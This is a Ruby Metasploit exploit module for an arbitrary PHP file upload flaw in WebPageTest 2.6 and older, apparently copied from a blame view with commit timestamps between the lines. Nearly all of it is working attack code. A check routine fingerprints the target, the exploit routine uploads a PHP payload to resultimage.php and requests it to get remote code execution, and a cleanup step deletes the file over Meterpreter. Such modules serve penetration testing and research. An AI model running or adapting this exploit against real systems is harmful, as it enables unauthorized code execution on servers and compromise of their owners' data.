2012-07-31 18:31:06 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2012-07-31 18:31:06 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "WebPageTest Arbitrary PHP File Upload",
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'Description' => %q{
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This module exploits a vulnerability found in WebPageTest's Upload Feature. By
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default, the resultimage.php file does not verify the user-supplied item before
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saving it to disk, and then places this item in the web directory accessable by
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remote users. This flaw can be abused to gain remote code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'dun', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '83822'],
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['EDB', '19790']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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2015-09-01 08:42:15 +00:00
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'EXITFUNC' => "thread"
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2013-08-30 21:28:54 +00:00
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['WebPageTest v2.6 or older', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 13 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
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], self.class)
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end
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def check
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peer = "#{rhost}:#{rport}"
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")})
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res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")})
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if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
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res2 and res2.code == 200
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2014-01-21 19:03:36 +00:00
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return Exploit::CheckCode::Appears
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2013-08-30 21:28:54 +00:00
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end
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return Exploit::CheckCode::Safe
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end
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def on_new_session(cli)
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if cli.type != "meterpreter"
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print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
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return
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end
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cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
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begin
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print_warning("Deleting: #{@target_path}")
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cli.fs.file.rm(@target_path)
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print_good("#{@target_path} removed")
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rescue
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print_error("Unable to delete: #{@target_path}")
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end
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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p = payload.encoded
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fname = "blah.php"
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data = Rex::MIME::Message.new
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data.add_part(
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"<?php #{p} ?>", #Data is our payload
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'multipart/form-data', #Content Type
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nil, #Transfer Encoding
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"form-data; name=\"file\"; filename=\"#{fname}\"" #Content Disposition
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)
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print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/work/resultimage.php"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s
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})
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if not res
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print_error("#{peer} - No response from host")
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return
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end
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@target_path = normalize_uri("#{base}/results/#{fname}")
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print_status("#{peer} - Requesting #{@target_path}")
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res = send_request_cgi({'uri'=>@target_path})
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handler
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if res and res.code == 404
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print_error("#{peer} - Payload failed to upload")
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end
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end
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2012-08-04 16:05:38 +00:00
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end
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